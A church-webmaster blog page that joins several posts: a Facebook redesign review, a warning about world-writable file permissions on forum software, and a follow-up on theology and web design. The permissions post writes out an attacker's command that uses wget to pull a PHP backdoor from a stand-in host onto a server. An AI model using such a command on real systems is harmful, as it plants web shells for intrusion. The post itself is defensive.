Heal Your Church WebSite

The new.facebook.com is out, and with it comes a cleaner and leaner interface that is not only more configurable, but addresses the growing needs of its of an audience that is stretching well past the niche of the college students. Here are 5 things I like, and 5 things I dislike about the upgrade based on what I see on my own Facebook page.

What I like:

1. A trimmer, slimmer menu bar that now includes the search facility where it belongs, in the upper right hand corner as opposed to half-way down the screen on the left hand side.
2. Conveniently located application tabs, with the ability to add more of your favorite Facebook apps to the tab list.
3. Application option / navigation hyperlinks conveniently located under the conveniently located application tabs.
4. Feed technology integrated into applications, such as the Facebook Wall.
5. More useful profile information moved over to the left menu column.

What I dislike:

1.  Account Settings, Privacy Settings, and Logout all rolled into this single icon. Please at least give me a logout that’s conspicuously 1-click away.
2. No direct route to an advanced search, not that the search feature is all that great.
3. Why can’t I have the inbox aggregate/list in the left hand column?
4. Can’t seem change the order of items in the left hand column, let along drag and drop them here-n-there - or even just hide the ones I don’t like.
5. Find the ads really annoying, mostly targeted at my marital status and age versus the content I post.

I’m sure that there will be others who find other things they like or dislike, for example:

• no support for low browser resolutions
• little native support nor interface for mobile devices
• missing avatar image for Deane Barker of Gadgetopia

What about you?

That said, here are 5 other things things I also think we as church and/or charity webmasters can and should consider doing based on Facebooks 5 month development effort:

1. Continually poll the user demographics for shifts in population and/or usage - for example, the Facebook realized a lot of their Y generation students are now in the job force;
2. Don’t be afraid to ‘borrow’ ideas from other success stories, such as Twitter and/or FriendFeed;
3. Find ways to provide users more control of their interface, even it it’s not completely drag-n-drop;
4. Understand the growing significance and adoption of personal portals and social network spaces;
5.  Consider supporing your congregation - or a segment of your congregation such as the youth group - by the creation of a group and/or application specific to their needs.

We’ve been getting several excellent comments recently - keep’m coming so I don’t have to go controversial again! So what are your thoughts on all this?

Here are 5 additional articles on the topic to inspire ya:

• NYTimes: Facebook Facelift Targets Aging Users and New Competitors
• Facebook Keeps Growing - Still Far Behind MySpace in US - ReadWriteWeb
• ChannelWeb - A New Face For Facebook
• Facebook Unveils Its New Look- SkyNews
• ReadWriteWeb (again) - Like Its Users, The New Facebook Is All Grown Up

Want to get hacked? It’s easy, just ‘chmod 777′ everything the next time you install a bbs or photo gallery application. Don’t want to get hacked? Read on and ‘find’ how hackers see, and exploit the unsecured areas of your system.

For those of you running online community applications such as phpBB, vBulletin, Coppermine Gallery, Mambo and a few others, installation can be a breeze if you have shell access. That said, installations can also lead to an unwanted visit if you get sloppy with your file permissions during the install.

For today’s example, I’ll pick on vBulletin today because it is a commercial product, but be warned: today’s topic of discussion equally applies to ANY host of ‘open sores’ applications as well.

The neer-do-well runs a Google search for those websites that are ‘Powered by: vBulletin Version 3.nn.nn.’ Upon finding a potential victom, they visit the site and … pay attention now … through their browser request a URL on your system that contains a remote command. That first remote command is likely to include “find -perm 777″ giving the hakr all the information he needs to then “wget http://badguyhost.ru/myshell.php -O /your/unsecure/directory/logon.php” onto your system.

Once such a php-based backdoor application is loaded, there is nothing left but to wipe your system clean and pray your backups are recent and reliable (more on that topic another time).

So two things I ask of you.

1. Keep your online applications up-to-date - get on their mailing list to kee abreast of changes, updates and patches.
2. For those of you with shell access to your system, run file permission scans such as ‘find -perm 777′ on your system before someone less trustworthy does. You might be disturbed by what you ‘find.’

For those of you whose paranoia-meter just went off scale, here is a command that for now will lock down those open areas:

find . -perm 777 -exec chmod 755 {} \;

For those of you with root access:

find / -perm 777 -type d

You may also want to run a scan for programs that provide web-based shell access. You’ll be glad you did.

Judging from the feedback on my last post - I’ve either let you down or built you up. To those who were critical, thank you for your honest comments in love. It is always welcome. To those who sent private form-feedback, I’m glad I was able to encourage you. To those confused - I think I need this follow-up post to clarify some points.

While I never want to “go cheap” with gratuitous controversy, there’s no ignoring that I’ve touched some nerves in asking ‘Does bad theology induce bad church website design?’

I am personally very intrigued that in both public comments and private email/form responses that I’m receiving not many communications that are “in the mushy middle.” So with that, I’m going to dig into this topic a little bit more and then move on.

First

It wasn’t my intent to start a raging debate over water baptism. It’s just that personally, I find it a bit of a contradiction that those who’d slap ‘cult’ labels on denominations for infant baptism would on the other hand hold up the physical act water baptism as a requirement of who is in and who is not.

What I take from the Gospels was that Jesus was always impressed by those who demonstrated faith. Take for example the centurion or the thief on the adjacent cross. So too I’d think it is faith, and not a physical act that is what is important here.

Moreover, of the three theological points I … um … pointed out, that was the one I had the least trouble with regarding the site … um … cited. That I received no feedback on the erroneous assertions that Seven Day Adventists are cultists or that man has no sin nature bother me far than the whole baptism thing.

BTW, I was baptized as an infant, but later in life stepped out on faith and was baptized as an adult - demonstrating said faith as the person baptizing me quite literally, and accidentally, let go and let Jesus manage the event as I leaned backward into the baptismal pool. It was all I could do to keep from laughing underwater at the ironic prospect I might perish in the process of “dying to self.”

Second

I think I failed to make my point because I only presented one website as an example.

My bad - in part because I think in part because as always, I wanted to present 5 things we could learn from the poorly design website in question.

Ergo, I offer web sites 5 more examples of sites that demonstrate web design as questionable as the apologetics they espouse:

1. All Men are Saved - asserting that everyone gets in by employing every font to every argument on one long page. Most annoying and unusable are those points of emphasis that are underlined - leading users down an errant path to thinking such text leads to hyperlinks - when they in reality lead to nowhere.
2. The Robert Brow Model Theology Web - a webmaster that plays games with semantics in HTML as he does in his teaching suggesting that Scripture is tolerant of homosexual activity as long as it doesn’t involve penetration. In the former, why not use a definition list or an unordered list to present a list of articles? On the latter - Matthew 5:27-28 talks about sin going past the physical act, pointing the finger at our heart and thoughts as the genesis of said act.
3. Brother Jed Smock - claims to be the foremost campus evangelist in the USA, only no one will every know because not only does he hinder access with a splash page, but further hides his message under a basket by using graphics to represent text that’d otherwise get indexed by a search engine.
4. Demonbusters - which not only asserts that all problems are demonic, but demonstrates how to “return all curses sevenfold” by abusing it’s readers by shouting at us in ALL CAPS ALL THE TIME!
5. Exposing Those Who Contradict - a site by L.Ray Smith that rails against the doctrine of eternal damnation, asserting that evil is a creation of God through a couple hundred articles that one must sift through by title all on the home page rather than through a much more usable mechanism such as a site search engine.

Third and finally

I think where I really let everyone down was not first providing why I often connect bad theology as a contributing factor to bad church website design. So here goes:

Along with a Master’s in Computer Science, I hold a BA in Music. What the combination of both disciplines have lead me to think is that any good artistic or coding endeavor - or in this case good web design - is in part a matter of hearing good doctrine, and then doing it. Sound familiar?

So I’m thinking how can we reasonably ask individuals engaged in lazy, misguided, and/or stubborn on points of Scriptural doctrine to act in a manner different in terms of practicing tenets of good church website design?

Put another way, can we reasonably expect someone who might assert that something like … oh I dunno … um … speaking in tongues as the only proof of Baptism in the Holy Spirit to reasonably be hearers and doers of … oh let me think … semantic HTML or usability in navigation?

Anyway, though I think I’ve exhausted this topic, I want to thank EVERYONE for their form feedback, public comments and/or email - both encouraging and critical. I appreciate it and hope everyone feels free to continue doing so in the future.

Is it just me, or is there a correlation between flimsy theology and flaky web design? Seriously, having reviewed hundreds of sites after sifting through thousands since May of 2002, I have to believe there is some linkage between bad theology and worse web designs.

fter today, Microsoft will discontinue sales of its Windows XP operating system to retailers and major computer makers; this despite protests lodged at InfoWorld’s ad-impaired Save XP petition page. Meanwhile, the world of Linux continues to overlook major marketing opportunities - this time missing a chance to dance on XP’s grave by not planning and then announcing releases for any and preferably ALL ‘distro-butions’ today. So what does this mean for your church and/or charity organization?

On August 8th, the eyes of the entire world turn towards Beijing. Some on their TVs, others on their PC newly equipped with the Silverlight plugin. Then there will be those stuck in a line at the store or waiting at a restaurants who will be keeping up with the 2008 Summer Olympics via their mobile phone.

Who knew joining a new church or Bible study could be so dangerous? That was my thought at my last church after I mistakenly shared my email with other members of the Sunday morning Bible study - as no sooner than I had gotten home I began to receive emails about how Madalyn Murray O’Hair is conspiring with aliens from the grave to take images of the Cross off the airwaves.

This weekend, I ran into an elderly gentleman whom appointed himself the ‘Toaster Czar’ in a fashion similar to the infamous ‘Soup Nazi’ of Jerry Seinfeld fame. I made the mistake leaving my bagel momentary unattended to go get coffee while trying to enjoy the complimentary breakfast at the Hampton Inn Winston-Salem-I-40/Hanes Mall. Here are 5 things your church and/or charity webmaster can learn from this experience:

Already demonstrating earlier this week how to block spambots and rogue spiders. Today I’m completing the lesson with a nice little bash script sample that can help you identify some of these non-browser ‘candidates’ by parsing your access logs and placing the results in an easy-to-read text file.

Spambots and spiders that ignore robots exclusion file can kill your site both in bandwidth and by potentially exposing information you don’t want ‘harvested.’ With that in mind, here is a quick-n-dirty guide to blocking spambots and rogue search engine spiders by using .htaccess. First the essential example codeblock, followed by a working example:

I just overheard a useful conversation between two vending machine operators while loading up our office junk food dispenser with a bunch of products that didn’t sell last week. It is if nothing else, an object lesson in contrast to my oft quoted aphorism “solve their problems, don’t tell them yours.” Here are 5 things we can in turn do in contrast to improve the user experience on our church and/or charity websites …

Yes, I know, all cool programmers use Python these days - but to this old-school programmer, PERL is to my antiquated PC what GWBasic was to first computer at work back in 1983. That is a nice little tool to get things done, like identify a list of IP addresses by country - fast.